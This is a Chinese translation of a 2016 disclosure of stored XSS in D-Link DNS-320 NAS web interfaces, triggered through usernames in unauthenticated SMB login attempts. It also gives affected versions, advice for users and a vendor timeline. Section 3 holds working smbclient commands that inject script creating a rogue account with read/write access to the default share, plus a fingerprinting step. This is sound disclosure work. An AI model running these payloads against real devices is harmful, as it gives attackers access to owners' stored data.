D-Link NAS, DNS 系列:通过非认证SMB实现存储型XSS

http://p7.qhimg.com/t01ce575b5fe8003e67.png

1.前言


D-Link DNS-320是一款NAS网络存储器(http://www.dlink.com/uk/en/support/product/dns-320-2-bay-sharecenter-network-storage-enclosure).

该设备允许用户通过SMB(服务器信息块)访问存储数据,并且可以通过一个web界面对它进行配置。

然而,这个web管理界面包含一个存储型跨站点脚本漏洞,利用的是一个未经身份验证的SMB登录尝试(445/tcp)。当受害者登录web管理界面时,注入的代码就会执行。

这个漏洞可以通过web界面读写设置信息。最终,攻击者可能会获得设备上存储的数据的完整读写权限。

与反射XSS漏洞不同的是,它不需要受害者打开一个攻击者提供的链接或访问恶意网页。这是一个相对少见的XSS漏洞, 不管受害者是直接还是间接地访问有漏洞的web应用程序,恶意代码都可以被注入。因此,即使端口80/tcp(HTTP)和443/tcp(HTTPS)的访问被禁,仍然可以利用这个漏洞。

CVE-ID

目前,MITRE并没有为这个漏洞指定一个CVE-ID,可以参阅下面的链接了解一些背景知识:http://seclists.org/oss-sec/2016/q1/512。


2.漏洞细节


D-Link DNS-320将失败的SMB登录尝试保存在一个日志文件中。当使用一个不存在的用户名进行登陆尝试时,这个用户名会被保存起来,随后未加清理就显示出来。这就是该漏洞利用的注入点。日志文件的内容可以在设备的web界面查看;在一个专门的页面(管理- >系统管理- >日志:

<http://<IP>/web/management.html?id=log>)

或在主页上

<http://<IP>/web/home.html>

这两个页面都有相同的漏洞,但由于主页在登录成功后会自动加载,所以注入代码会立即运行,不能进行进一步的用户交互。

由于恶意代码使用SMB协议注入,而不是使用导致其最终执行的HTTP协议,因此阻止外部访问web界面并不能防止这个漏洞的利用。


3.漏洞利用/概念证明


由于这个漏洞的本质,自动化地将恶意代码注入到一系列含有此漏洞的设备中是很容易的。

以下两个smbclient命令作为一个概念证明。它们的目的是注入一段代码,用来创建一个使用攻击者选择的密码的新用户。此外,它会向这个新用户提供设备默认共享盘(“Volume_1”) 的读/写权限;默认情况下,可以获得存储在主硬盘驱动器上数据的完整读写权限。

1
<span style="font-family: 微软雅黑, 'Microsoft YaHei';">smbclient -U '<img src=&#47;cgi-bin&#47;account_mgr.cgi?cmd=cgi_adduser_to_session&s_name=Volume_1&ftp=true&read_list=&write_list=baduser&decline_list=&username=baduser&>' -N  '\\x\Volume_1' -I <TARGET IP><br> <br>smbclient -U '<img src=&#47;cgi-bin&#47;account_mgr.cgi?cmd=cgi_user_add&name=baduser&pw=badpass&>' -N  '\\x\Volume_1' -I <TARGET IP></span>


一旦管理员登录到设备的web界面,这段代码将会执行:创建一个使用攻击者选择的密码的新用户,获取共享盘“Volume_1”的读/写权限。

如果想要确认一个设备是否是脆弱型号之一,可以使用rpcclient。在输入querydominfo命令后,可以在“Comment”旁边找到型号名:

[~] $ rpcclient -U "" -N <TARGET IP>

rpcclient $> querydominfo

Domain:           WORKGROUP

Server:           DLINK-EXXXXX

Comment:    DNS-320 <===== Model

Total Users: 3

[...]

一些读者可能想要验证他们的设备上是否存在该漏洞,但又不想进行配置更改。在这种情况下,可以使用以下命令:


1
smbclient -U  'a<img src=x onerror=eval("alert(String.fromCharCode(88,83,83,64)+document.domain)")>b'  -N   '\\x\Volume'  -I <TARGET IP>


如果设备的确包含有该漏洞,那么用户在下次登录到设备的web界面时,将会看到一个带有“XSS”字符串的弹出窗口:

http://p4.qhimg.com/t01b30ae9963e96a7ce.png


4.影响的设备/版本



这个漏洞最初是在一个运行固件版本2.05 b8(也称为:“2.13.0507.2014”)的D-Link DNS-320 rev A的设备上发现的。但是,根据D-Link的消息,以下设备和版本也存在这个漏洞:

http://p5.qhimg.com/t015f79b32516e6620f.png

此外,早期和后来的版本也有可能受到该漏洞的影响。


5.给终端用户的建议


存在漏洞的设备应该禁止来自不受信任和潜在的恶意网络的访问。如果你觉得这些访问有问题,请立即终止连接。

如果一个存在漏洞的设备没有连接到互联网上,而是存在于本地网络,那么最大的风险可能来自恶意软件,更具体地说是勒索软件。

勒索软件正变得越来越强大,而且这种发展还不受到感染和躲避机制的局限。未来勒索软件可能会适应其周围环境,让自己的影响达到最大化,随后,受害者支付赎金的可能性也会大大增加。

NAS设备通常用于存储用户认为重要的备份数据。本文描述的漏洞可以使得勒索软件在下一次受害者登陆web管理界面时删除NAS设备上的数据。

因此,建议终端用户首先确定自己设备上安装的固件版本是否含有该漏洞,如果有,请及时进行固件更新。

确定当前安装的固件版本

当前安装的固件版本可以通过web管理界面确认。

根据D-Link的未来版本控制系统,也许有必要使用固件的日期来区分是否含有该漏洞。

例如,如果型号是DNS-320 rev A,web界面显示的固件版本是“2.05”,那么含有漏洞的固件版本可以通过显示的日期“05/07/2014”(或更早)来确认:

Current NAS Firmware Version   2.05

Firmware Date      05/07/2014

如果在今年晚些时候发布的固件版本2.05 b99中修复了该漏洞,那么web界面显示的固件版本可能如下所示:

Current NAS Firmware Version   2.05

Firmware Date       12/12/2016

具体含有漏洞的设备和版本请参考第4节。

固件更新时的建议

如果D-Link在固件更新中解决了这个漏洞,其安装程序会要求用户登录到存在漏洞的web界面。然而,如果攻击者已经设法在web界面存储了恶意代码,那么登陆去安装更新可能会执行这段代码。

不过,在写这篇文章时,还没有存在已知的针对该漏洞的野外攻击,但是,在更新时也应该采取一些预防措施,使得应用更新以一个安全的方式进行:

将设备和用于管理设备的计算机从所有网络中断开;

为了降低相关硬盘上数据的风险,在登录到web界面之前:关掉设备、断开所有的硬盘,只保留一个,并且不能保存重要数据、重新打开设备;

为了减少一些漏洞利用尝试所带来的风险:检查所有可疑的或多余的配置选项,尤其是那些与“账户管理”有关的配置,或恢复默认的配置选项/工厂设置(系统管理- >系统设置- >默认值- >恢复);

下载并进行固件更新。


6.时间轴


2016-01-11:试图通过web表单向D-Link报告漏洞。

2016-01-21:十天后:仍然没有反应。

2016-01-21:联系security@dlink.com(遵照安全事件响应策略)。

2016-01-21: D-Link在几分钟内响应。

2016-01-22:发送漏洞报告。

2016-01-26: D-Link证实了该漏洞。

2016-02-11:通过cve-assign@mitre.org向MITRE提出CVE-ID请求。

2016-02-12: MITRE驳回了请求。

2016-02-27: D-Link提供预览版更新固件来验证修复。

2016-03-01:对固件进行了评估,并向D-Link发送确认书。

2016-06-08:要求D-Link进行状态更新。

2016-07-08:(一个月后:仍然没有反应。)

2016-07-08:要求D-Link发布状态更新。

2016-07-13: D-Link表示更新固件已经发布在论坛上了,剩下的更新会在“本周结束7/15”发布。

2016-07-19:向D-Link请求更新消息的直接链接。

2016-08-02:两周后:仍然没有反应。  

2016-08-02:本文发表。

原文链接:http://b.fl7.de/2016/08/d-link-nas-dns-xss-via-smb.html

本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://b.fl7.de/2016/08/d-link-nas-dns-xss-via-smb.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值